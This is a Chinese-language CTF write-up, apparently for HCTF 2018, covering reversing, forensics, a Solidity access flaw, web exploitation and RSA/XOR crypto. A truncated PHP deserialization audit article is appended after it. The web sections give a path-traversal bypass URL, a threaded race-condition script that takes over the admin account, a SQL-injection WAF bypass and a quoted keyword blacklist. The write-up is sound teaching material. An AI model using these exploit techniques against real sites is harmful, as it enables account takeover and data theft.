mod_opcodes里就两种情况，都试一下就好了。
switch_opcodes里有三种情况，分别是0x4433奇偶互换，0x4434循环向左移动1，和0x4437一个奇怪的变换（仔细看这个变换，里面有坑）。
在`sub_401690`有一次调用：
.text:00401724 mov eax, 4437h
.text:00401729 invd
剩下的都是在`vmcalls`里。于是可以把vmcalls里的vmcode分成3段，这三段由invd分割，使用了不同的opcode，具体opcode可以通过变换得到。
然后恢复一下9×9矩阵里的值，通过ida 引用可以找到几处调用，初始化应该是在
`sub_402690`中，然后在`sub_402190`中也有两种变换，还不清楚是否调用。但是根据规则，9×9矩阵每个块里都必须是1-9，所以vmcode里没改过的位置都应该是1-9。
简单尝试可以发现`sub_402190`中的两个变换都进行了一次，顺序无所谓。为了方便就直接从IDA中拖出来伪代码用c跑，得到最终的9×9矩阵：
#include <cstring>
#include <cstdio>
#include <iostream>
using namespace std;
int mm[9][9];
int main()
{
unsigned int regs[81] = {
0x00000007, 0x000000CE, 0x00000059, 0x00000023, 0x00000009, 0x00000005, 0x00000003, 0x00000001,
0x00000006, 0x00000002, 0x00000006, 0x00000005, 0x0000007D, 0x00000056, 0x000000F0, 0x00000028,
0x00000004, 0x00000059, 0x0000004D, 0x0000004D, 0x0000004B, 0x00000053, 0x00000009, 0x00000001,
0x0000000F, 0x00000057, 0x00000008, 0x000000D3, 0x00000038, 0x0000006F, 0x00000299, 0x000000E1,
0x00000036, 0x00000002, 0x00000076, 0x00000357, 0x0000006A, 0x000000AA, 0x00000374, 0x000001A4,
0x0000005D, 0x00000056, 0x00000057, 0x00000007, 0x0000007F, 0x00000008, 0x000000A8, 0x000000B0,
0x00000009, 0x00000032, 0x00000002, 0x00000006, 0x00000463, 0x00000469, 0x00000005, 0x000000C6,
0x00000002, 0x00000025, 0x00000068, 0x00000033, 0x00000032, 0x00000067, 0x00000001, 0x00000071,
0x00000001, 0x00000507, 0x00000063, 0x00000008, 0x00000006, 0x000000A3, 0x000005F5, 0x00000006,
0x00000031, 0x000003B8, 0x00000065, 0x00000200, 0x00000028, 0x00000057, 0x00000001, 0x000000A5,
0x00000009
};
int ma[54]={13,01,32,0,15,28,27,12,26,8,11,25,30,24,02,23,31,4,53,35,42,38,50,41,55,57,40,47,46,43,36,52,54,51,48,33,80,74,71,83,82,67,88,65,86,85,81,62,73,56,61,66,84,77};
int i,j,k,l,m,result,v6,v3,v4,v7;
for(i =0; i < 54; i++)
{
int x = ma[i];
int h = x/10;
int l = x%10;
mm[h][l]=1;
}
int cnt=0;
for(i=0;i<9;i++)
{
for(j=0;j<9;j++)
if(mm[i][j])
{
cout<<"1 ";
cnt++;
}
else
cout<<"0 ";
cout <<endl;
}
cout <<cnt<<endl;
result = regs[40];
v6 = regs[40];
for ( i = 0; i < 4; ++i )
{
regs[8 * i + 40] = regs[8 * i + 40 - 1];
for ( j = 0; j < 2 * i + 1; ++j )
regs[3 - i + 9 * (i + 4 - j)] = regs[3 - i + 9 * (i + 4 - (j + 1))];
for ( k = 0; k < 2 * i + 2; ++k )
regs[k + 9 * (3 - i) + 3 - i] = regs[10 * (3 - i) + k + 1];
for ( l = 0; l < 2 * i + 2; ++l )
regs[9 * (l + 3 - i) + i + 5] = regs[9 * (3 - i + l + 1) + i + 5];
for ( m = 0; ; ++m )
{
result = 2 * i + 2;
if ( m >= result )
break;
regs[9 * (i + 5) + i + 5 - m] = regs[9 * (i + 5) + i + 5 - (m + 1)];
}
}
regs[72] = v6;
v6 = regs[80];
v7 = regs[8];
for ( i = 8; i; --i )
regs[10 * i] = regs[9 * (i - 1) + i - 1];
regs[0] = v6;
for ( j = 1; j < 9; ++j )
regs[8 * j] = regs[8 * j + 8];
result = 8 * j;
regs[8 * j] = v7;
v3 = regs[76];
result = regs[36];
v4 = regs[36];
for ( k = 8; k; --k )
{
result = 9 * k;
regs[9 * k + 4] = regs[9 * (k - 1) + 4];
}
regs[4] = v3;
for ( l = 0; l < 8; ++l )
{
regs[l + 36] = regs[l + 37];
result = l + 1;
}
regs[44] = v4;
for(i=0;i<81;i++)
{
cout<<regs[i]<<' ';
if(i%9==8)
cout<<endl;
}
}
然后再手写一个vmcode的parser：
l1=['3013DD03','3401CC01','3632DD09','3300CC00','3015CC04','3528DD07','3027CC06','3412CC03','3026DD06','3408DD01','3311DD02','3625CC05','3930CC07','3724DD05','3402DD00','3923DD04','3431DD08','3704CC02']
l2=['3853DD11','3435CC09','3842CC0A','3538DD0B','3750CC0D','3641DD0D','3855CC0F','3757CC10','3740DD0C','3147DD0F','3146CC0B','3743DD0E','3636DD0A','3152CC0E','3454DD12','3451DD10','3448CC0C','3633CC08']
l3=['3080CC17','3774DD16','3271CC14','3983CC19','3482DD17','3567DD15','3188DD1A','3965CC12','3286DD19','3785CC1A','3281CC18','3262DD14','3573CC15','3756DD13','3161CC11','3266CC13','3984DD18','3777CC16']
oplist=['load','add','minus','div','mul','xor','xor2','xorhi','or','xor3']
op1=['32','33','34','37','38','30','36','35','31','39']
op2=['33','34','37','38','30','36','35','31','39','32']
op3=['33','31','37','34','38','32','39','35','36','30']
ma=[
[165,89,35,9,512,3,1,6,87],
[7,206,125,86,5,40,4,2,8],
[2,6,5,9,240,15,86,118,855],
[77,77,75,83,1,225,87,7,127],
[56,111,665,54,2,6,1123,1129,211],
[106,170,884,198,176,420,50,103,1],
[8,168,113,2,9,104,50,1525,6],
[5,93,1,1287,37,8,6,51,9],
[89,49,952,101,99,40,87,1,163]
]
ma_reg=[
[0,0,0,0,1,1,1,1,1],
[2,3,0,0,0,1,4,1,5],
[2,3,3,0,0,4,4,1,5],
[2,2,3,3,3,3,4,1,5],
[2,3,3,4,4,4,4,6,5],
[2,2,2,7,4,6,6,6,5],
[2,8,7,7,7,6,6,5,5],
[8,8,7,8,7,7,6,6,5],
[8,8,8,8,8,7,7,6,5]
]
l_num=[
[5,9],
[1,2,3,6,7],
[2,7,8],
[1,5,6],
[2,4,6],
[1,6,8,9],
[1,6],
[1,2,8,9],
[5]
]
s=[]
for i in l1:
op=i[0:2]
op_s=oplist[op1.index(op)]
x=int(i[2])
y=int(i[3])
if i[4]=='D':
s.append(str(ma_reg[x][y])+' '+hex(ma[x][y])+' '+op_s+' '+str(26-int(i[6:8],16))+'('+str(x)+','+str(y)+')')
else:
s.append(str(ma_reg[x][y])+' '+hex(ma[x][y])+' '+op_s+' '+str(int(i[6:8],16))+'('+str(x)+','+str(y)+')')
for i in l2:
op=i[0:2]
op_s=oplist[op2.index(op)]
x=int(i[2])
y=int(i[3])
if i[4]=='D':
s.append(str(ma_reg[x][y])+' '+hex(ma[x][y])+' '+op_s+' '+str(26-int(i[6:8],16))+'('+str(x)+','+str(y)+')')
else:
s.append(str(ma_reg[x][y])+' '+hex(ma[x][y])+' '+op_s+' '+str(int(i[6:8],16))+'('+str(x)+','+str(y)+')')
for i in l3:
op=i[0:2]
op_s=oplist[op3.index(op)]
x=int(i[2])
y=int(i[3])
if i[4]=='D':
s.append(str(ma_reg[x][y])+' '+hex(ma[x][y])+' '+op_s+' '+str(26-int(i[6:8],16))+'('+str(x)+','+str(y)+')')
else:
s.append(str(ma_reg[x][y])+' '+hex(ma[x][y])+' '+op_s+' '+str(int(i[6:8],16))+'('+str(x)+','+str(y)+')')
s.sort()
print '\n'.join(s)
得到一些式子，根据check的约束，我们可以用z3来求解。不过我觉得手解也挺有意思，就手动解了一下，也不是很麻烦，最后得到flag的后半：
`_R@w!_r0W!_F1g7T_YH5_P0W5R!`
连起来得到完整flag：
`hctf{G_1s_iN_y0@r_aRe4_0n5_0f_Th5_T0ugHtEST_En1gMa__R@w!_r0W!_F1g7T_YH5_P0W5R!}`
现在再回头想这道题，要是可以动态调试的话，应该可以简单个十倍把……
## Misc
### difficult programming language
usb流量分析题，根据usb数据包长度可以看出是键盘。
参考这篇文章(<http://www.cnblogs.com/ECJTUACM-873284962/p/9473808.html)，先用tshark提取出usb>
data，然后直接用文中的脚本提取键盘按键，但是发现提取出的有一些错误。
于是对照[usb官方文档](https://www.usb.org/sites/default/files/documents/hut1_12v2.pdf)，修正了几个按键映射的错误，最终脚本：
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"`","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|", "32":"<NON>","33":":","34":"\"","35":"~","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
nums = []
shifts = []
keys = open('usbdata.txt')
for line in keys:
nums.append(line[6:8])
shifts.append(line[0:2])
keys.close()
output = ""
for i in range(len(nums)):
n = nums[i]
s = shifts[i]
if n == '00' :
continue
if n in normalKeys:
if s == '02':
output += shiftKeys[n]
else:
output += normalKeys[n]
else:
output += '[unknown'+n+']'
print output
运行得到
D'`;M?!\mZ4j8hgSvt2bN);^]+7jiE3Ve0A@Q=|;)sxwYXtsl2pongOe+LKa'e^]\a`_X|V[Tx;:VONSRQJn1MFKJCBfFE>&<`@9!=<5Y9y7654-,P0/o-,%I)ih&%$#z@xw|{ts9wvXWm3~c
刚好之前中科大ctf里做过一道类似的，所以很容易看出来这是malbolge，[在这里可以在线运行](http://www.compileonline.com/execute_malbolge_online.php)，得到flag：`hctf{m4lb0lGe}`
### easydump
取证题，题目给了一个内存镜像，用volatility先看一下版本
python vol.py -f ISO/mem.data imageinfo ✔ 10080 09:01:32
Volatility Foundation Volatility Framework 2.6
INFO : volatility.debug : Determining profile based on KDBG search...
Suggested Profile(s) : Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_24000, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_24000, Win7SP1x64_23418
AS Layer1 : WindowsAMD64PagedMemory (Kernel AS)
AS Layer2 : FileAddressSpace (/home/blackmax/download/volatility/ISO/mem.data)
PAE type : No PAE
DTB : 0x187000L
KDBG : 0xf80004035070L
Number of Processors : 4
Image Type (Service Pack) : 0
KPCR for CPU 0 : 0xfffff80004036d00L
KPCR for CPU 1 : 0xfffff880009ee000L
KPCR for CPU 2 : 0xfffff88004568000L
KPCR for CPU 3 : 0xfffff880045dd000L
KUSER_SHARED_DATA : 0xfffff78000000000L
Image date and time : 2018-11-07 08:26:52 UTC+0000
Image local date and time : 2018-11-07 16:26:52 +0800
可以看到是win7镜像，接下来看一下进程列表,发现有一个画板进程，猜测会以图片形式留一些线索
0xfffffa8002de1560 mspaint.exe 2768 1696 6 122 1 0 2018-11-07 08:16:05 UTC+0000
再指定pid把相关内存dump出来,把dump出来的数据用GIMP2打开，不断拖动进度条，以及调整长宽尺寸，可以找到一张图片，写着flag
## Crypto
## Blockchain
### ez2win
代码审计，题目 hint 给出了源代码：
pragma solidity ^0.4.24;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event GetFlag(
string b64email,
string back
);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) public _balances;
mapping (address => mapping (address => uint256)) public _allowed;
mapping(address => bool) initialized;
uint256 public _totalSupply;
uint256 public constant _airdropAmount = 10;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
// airdrop
function AirdropCheck() internal returns (bool success){
if (!initialized[msg.sender]) {
initialized[msg.sender] = true;
_balances[msg.sender] = _airdropAmount;
_totalSupply += _airdropAmount;
}
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address owner,
address spender
)
public
view
returns (uint256)
{
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
AirdropCheck();
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
AirdropCheck();
_allowed[msg.sender][spender] = value;
return true;
}
/**
* @dev Transfer tokens from one address to another
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address from,
address to,
uint256 value
)
public
returns (bool)
{
require(value <= _allowed[from][msg.sender]);
AirdropCheck();
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) {
require(value <= _balances[from]);
require(to != address(0));
require(value <= 10000000);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
}
}
contract D2GBToken is ERC20 {
string public constant name = "D2GB";
string public constant symbol = "D2GB";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 20000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
_totalSupply = INITIAL_SUPPLY;
_balances[msg.sender] = INITIAL_SUPPLY;
initialized[msg.sender] = true;
emit Transfer(address(0), msg.sender, INITIAL_SUPPLY);
}
//flag
function PayForFlag(string b64email) public payable returns (bool success){
require (_balances[msg.sender] > 10000000);
emit GetFlag(b64email, "Get flag!");
}
}
可以看到关键函数 `_transfer` 不加 private 修饰，因此是默认的 public 方法，进而导致所有人都可以调用该方法：
function _transfer(address from, address to, uint256 value) {
require(value <= _balances[from]);
require(to != address(0));
require(value <= 10000000);
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
}
由此构造交易即可满足该条件：
0 from address acb7a6dc0215cfe38e7e22e3f06121d2a1c42f6c
1 to address af903418a7628e91f243b940ee7fdaf3a3727c4c
2 value uint256 1000000
0 from address acb7a6dc0215cfe38e7e22e3f06121d2a1c42f6c
1 to address af903418a7628e91f243b940ee7fdaf3a3727c4c
2 value uint256 1000000
获得 flag: hctf{0hhhh_m4k3_5ur3_y0ur_acc35s_c0n7r01}
## Web
### Warmup
签到题，绕过判断即可，源码如下：
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}
if (in_array($page, $whitelist)) {
return true;
}
$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>
可以通过构造
<http://warmup.2018.hctf.io/index.php?file=source.php%3f/../../../../../ffffllllaaaagggg>
绕过判断，即可拿到 flag：hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}
### admin
条件竞争，通过提示可以在 github 搜索到源代码： <https://github.com/woadsl1234/hctf_flask/>
然后源码审计，可以看到题目的要点是成为 admin，然后我们看到题目提供了修改 password 的操作，而且用来检查的 name
是用户可控的。所以只要同时达成以下几个条件，即可修改 admin 密码：
1. 用户处于登录并尝试修改密码
2. 用户登出后以 admin 作为用户名登录
所以利用条件竞争，脚本如下：
@app.route('/login', methods = ['GET', 'POST'])
def login():
if current_user.is_authenticated:
return redirect(url_for('index'))
form = LoginForm()
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)
@app.route('/logout')
def logout():
logout_user()
return redirect('/index')
@app.route('/change', methods = ['GET', 'POST'])
def change():
if not current_user.is_authenticated:
return redirect(url_for('login'))
form = NewpasswordForm()
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
import requests
import threading
def login(s, username, password):
data = {
'username': username,
'password': password,
'submit': ''
}
return s.post("http://admin.2018.hctf.io/login", data=data)
def logout(s):
return s.get("http://admin.2018.hctf.io/logout")
def change(s, newpassword):
data = {
'newpassword':newpassword
}
return s.post("http://admin.2018.hctf.io/change", data=data)
def func1(s):
login(s, 'ddd', 'ddd')
change(s, 'qweqweabcabc')
def func2(s):
logout(s)
res = login(s, 'admin', 'qweqweabcabc')
if '<a href="/index">/index</a>' in res.text:
print('finish')
def main():
for i in range(1000):
print(i)
s = requests.Session()
t1 = threading.Thread(target=func1, args=(s,))
t2 = threading.Thread(target=func2, args=(s,))
t1.start()
t2.start()
if __name__ == "__main__":
main()
以修改后的账号即可登录 admin，获得 flag：hctf{un1c0dE_cHe4t_1s_FuNnying}
### kzone
扫描得到后台管理界面和源代码：<http://kzone.2018.hctf.io/admin/，http://kzone.2018.hctf.io/www.zip>
进行源码审计，发现 `include/member.php` 存在注入问题：
<?php
...
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
由于 session 是用户可控的，所以我们可以尝试利用 cookie 进行注入。
可以看到校验的方式是 `$admin_pass == $login_data['admin_pass'])`，而用户可以通过 sql 注入的方式控制
`$admin_pass` 最终的值，所以可以实现免密码登录。
可以看到在 safe.php 中定义了 waf 函数：
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}
function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}
foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
?>
但由于 waf 校验在 cookie 的 encode 之前，所以我们可以通过 `\u0000` 来绕过相应校验，如用 `\u0073elect` 来代替
`select`……
成功 SQL 注入后即可登录界面，但发现没有 flag 的存在，所以继续对数据库进行注入。
用于我们可以通过控制该注入点的方式来让用户登录成功 / 失败，所以可以利用盲注来爆破数据库中的字段。最终爆破得到 flag 在数据库的 F1444g 表的
F1a9 列。
得到 flag：HCTF{4526A8CBD741B3F790F95AD32C2514B9}
## Crypto
### xor rsa
题目e=5，给了c1，c2，N
由代码可知m1与m2只有低40bit不同，因此可用Franklin-Reiter related-message attack
sage脚本如下：
e=5
n1=20742629231167074901872284249900564649960080252421961410962477470471565927514771944304661338404341609414783628297970746610776073149159734189096930913490077819854625407025146808977629912013616078752643824249137727478693289968310457333641028016132389937024763450430409691799006001961811337107714057774370286649194238970511485592863655497660100960378189010168694643224989450676194555927642252615704509481082653495913144303598228023415041745159280660614095057832334431679476668494240579311278072499992891644578697879475129456902830155387123087359027751655458547326317361231930000795672831659962985839689086395870329974041
C1=13926255851215797638227423248357032856229384483641236490930750938996856149516138371644522381830849845647177176279050178429407921932866351213215077915248020638064714251822408546312164119901382307885745394698913880672129667153776942490301740876735003789389443945545456304418232829018035350821129082356658942389419816333569312829412110417441665206813926688620789109127349596943348372109210292971779503528417388601048246215963785634698250482914621936223888455224299838490075771129583736176437646546700280787052200904680331198079330753470636043214421707013821693830190617850294917741892941811203249208597687587196629043693
C2=7340149910970749330024189607188363402485839102842010778710351669235006086939568190356751890053962072019106070949559592207192304942387334082180651605264970985577962836722653747701671414017790437995787589011466413002725670413687229770849290494792260148789720869921493279581559461175173686791455519991242940203838847626855840127673081518812045986202817043945401452513644780872244621624942200252617802166996361409813615106748901761657052063859397996684220001907962528397702702479506980088453638748302716156697906474136291137718179751362453892766922155898156542839352088398147730915973258915542456305226006669135165204454
PRxy.<x,y> = PolynomialRing(Zmod(n1))
PRx.<xn> = PolynomialRing(Zmod(n1))
PRZZ.<xz,yz> = PolynomialRing(Zmod(n1))
g1 = x**e - C1
g2 = (x + y)**e - C2
q1 = g1.change_ring(PRZZ)
q2 = g2.change_ring(PRZZ)
h = q2.resultant(q1)
# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)
h = h.monic()
print n1.nbits()
kbits=40
roots = h.small_roots(X=2^kbits, beta=0.3)
assert roots, "Failed1"
diff = roots[0]
if diff > 2**kbits:
diff = -diff
C1, C2 = C2, C1
print "Difference:", diff
print "N=",n1
print "c1=",C1
print "c2=",C2
print "r=",diff
def franklin_reiter(c_array, N, r, e=3):
P.<x> = PolynomialRing(Zmod(N))
c1, c2 = c_array
equations = [x ^ e - c1, (x + r) ^ e - c2]
g1, g2 = equations
print(type(g1))
return -composite_gcd(g1,g2).coefficients()[0]
def composite_gcd(g1,g2):
return g1.monic() if g2 == 0 else composite_gcd(g2, g1 % g2)
e=5
N= 20742629231167074901872284249900564649960080252421961410962477470471565927514771944304661338404341609414783628297970746610776073149159734189096930913490077819854625407025146808977629912013616078752643824249137727478693289968310457333641028016132389937024763450430409691799006001961811337107714057774370286649194238970511485592863655497660100960378189010168694643224989450676194555927642252615704509481082653495913144303598228023415041745159280660614095057832334431679476668494240579311278072499992891644578697879475129456902830155387123087359027751655458547326317361231930000795672831659962985839689086395870329974041
c1= 7340149910970749330024189607188363402485839102842010778710351669235006086939568190356751890053962072019106070949559592207192304942387334082180651605264970985577962836722653747701671414017790437995787589011466413002725670413687229770849290494792260148789720869921493279581559461175173686791455519991242940203838847626855840127673081518812045986202817043945401452513644780872244621624942200252617802166996361409813615106748901761657052063859397996684220001907962528397702702479506980088453638748302716156697906474136291137718179751362453892766922155898156542839352088398147730915973258915542456305226006669135165204454
c2= 13926255851215797638227423248357032856229384483641236490930750938996856149516138371644522381830849845647177176279050178429407921932866351213215077915248020638064714251822408546312164119901382307885745394698913880672129667153776942490301740876735003789389443945545456304418232829018035350821129082356658942389419816333569312829412110417441665206813926688620789109127349596943348372109210292971779503528417388601048246215963785634698250482914621936223888455224299838490075771129583736176437646546700280787052200904680331198079330753470636043214421707013821693830190617850294917741892941811203249208597687587196629043693
r= 471123279813
c_array=[c1,c2]
print(franklin_reiter(c_array,N,r,e=5))
将解出的m1与m2发还给服务器即可获得flag
### xor game
根据题目描述和给出的python脚本可以看出，这道题是把一段poem与flag做了异或加密，并给我们了加密的密文。
由于poem是一段有意义的英文，我们可以用词频分析来解决。
这里我直接用`xortool`，将密文转为hex，指定空格为最常见字符:
`python xortool -x -c 20 c.txt`
得到key长度为21，和一些看起来很像flag的key：
The most probable key lengths:
3: 12.1%
7: 14.0%
9: 10.0%
11: 10.0%
14: 11.3%
18: 7.7%
21: 15.9%
28: 6.3%
30: 5.1%
42: 7.6%
Key-length can be 3*n
8 possible key(s) of length 21:
6o7\x1ai6_i+te7es1ing!@#
6o7\x1ai6_i+te7es1ing!\x05#
6o7\x1ai?_i+te7es1ing!@#
6o7\x1ai?_i+te7es1ing!\x05#
xo7\x1ai6_i+te7es1ing!@#
Found 8 plaintexts with 95.0%+ printable characters
See files filename-key.csv, filename-char_used-perc_printable.csv
在这些key对应解出的明文中可以明显看出一些英文单词的一部分，搜索发现是泰戈尔的生如夏花。
于是直接把原文前21位和密文作异或即可得到flag，补上格式：`hctf{xor_is_interesting!@#}` | 社区文章 |
本文由红日安全成员： **licong** 编写，如有不当，还望斧正。
## 前言
大家好，我们是红日安全-代码审计小组。最近我们小组正在做一个PHP代码审计的项目，供大家学习交流，我们给这个项目起了一个名字叫 [**PHP-Audit-Labs**](https://github.com/hongriSec/PHP-Audit-Labs) 。现在大家所看到的系列文章，属于项目
**第一阶段** 的内容，本阶段的内容题目均来自 [PHP SECURITY CALENDAR
2017](https://www.ripstech.com/php-security-calendar-2017/)
。对于每一道题目，我们均给出对应的分析，并结合实际CMS进行解说。在文章的最后，我们还会留一道CTF题目，供大家练习，希望大家喜欢。下面是 **第11篇**
代码审计文章：
## Day 11 - Pumpkin Pie
题目如下：
**漏洞解析：** (上图代码第11行正则表达式应改为：'/O:\d:/')
题目考察对php反序列化函数的利用。在第10行 **loadData()** 函数中，我们发现了 **unserialize** 函数对传入的
**$data** 变量进行了反序列。在反序列化前，对变量内容进行了判断，先不考虑绕过，跟踪一下变量，看看变量是否可控。在代码 **第6行** ，调用了
**loadData()** 函数，`$data`变量来自于 **__construct()** 构造函数传入的变量。代码第32行，对
**Template** 类进行了实例化，并将 **cookie**
中键为'data'数据作为初始化数据进行传入，`$data`数据我们可控。开始考虑绕过对传入数据的判断。
代码 **11行**
，第一个if，截取前两个字符，判断反序列化内容是否为对象，如果为对象，返回为空。php可反序列化类型有String,Integer,Boolean,Null,Array,Object。去除掉Object后，考虑采用数组中存储对象进行绕过。
第二个if判断,匹配 字符串为
\'O:任意十进制:',将对象放入数组进行反序列化后，仍然能够匹配到，返回为空，考虑一下如何绕过正则匹配，PHP反序列化处理部分源码如下：
